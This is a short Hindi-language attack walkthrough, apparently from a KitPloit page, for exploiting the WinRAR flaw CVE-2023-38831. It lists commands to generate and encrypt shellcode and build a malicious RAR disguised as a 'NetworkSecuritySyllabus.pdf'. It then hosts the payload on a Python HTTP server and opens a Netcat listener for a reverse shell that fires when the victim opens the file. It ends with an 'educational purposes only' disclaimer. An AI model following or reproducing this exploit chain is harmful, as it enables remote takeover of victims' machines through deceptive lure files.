1. शेलकोड तैयार करें

   • प्रारंभिक शेलकोड उत्पन्न करने के लिए 51721.py का उपयोग करें।

2. शेलकोड को संशोधित और संकलित करें

   • शेलकोड में आवश्यक संशोधन करें।
   • संशोधित कोड संकलित करें।

3. निष्पादन योग्य को एन्क्रिप्ट करें

   • संकलित निष्पादन योग्य को एन्क्रिप्ट करने के लिए decrypt_file.ps1 का उपयोग करें:
     root@kitploit:~

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. WinRAR आर्काइव बनाएं

   • आर्काइव बनाने के लिए cve-2023-38831-exp-gen.py का उपयोग करें:
     root@kitploit:~

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. फ़ाइल डाउनलोड के लिए Python सर्वर सेट अप करें

   • enc_main.exe और decrypt_file.ps1 वाले निर्देशिका पर जाएं।
   • Python HTTP सर्वर शुरू करें:
     root@kitploit:~

     python3 -m http.server 8000
     

6. रिवर्स TCP शेल सुनने की तैयारी करें

   • आने वाले TCP कनेक्शन सुनने के लिए Netcat खोलें:
     root@kitploit:~

     nc -lnvp 4444
     

7. रिवर्स TCP शेल ट्रिगर करें

   • जब पीड़ित PDF फ़ाइल खोलता है, तो रिवर्स TCP कनेक्शन ट्रिगर हो जाएगा, जिससे आपको उनकी मशीन तक पहुंच मिल जाएगी।

अस्वीकरण

यह जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इस शोषण का स्पष्ट अनुमति के बिना उपयोग अवैध और अनैतिक है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।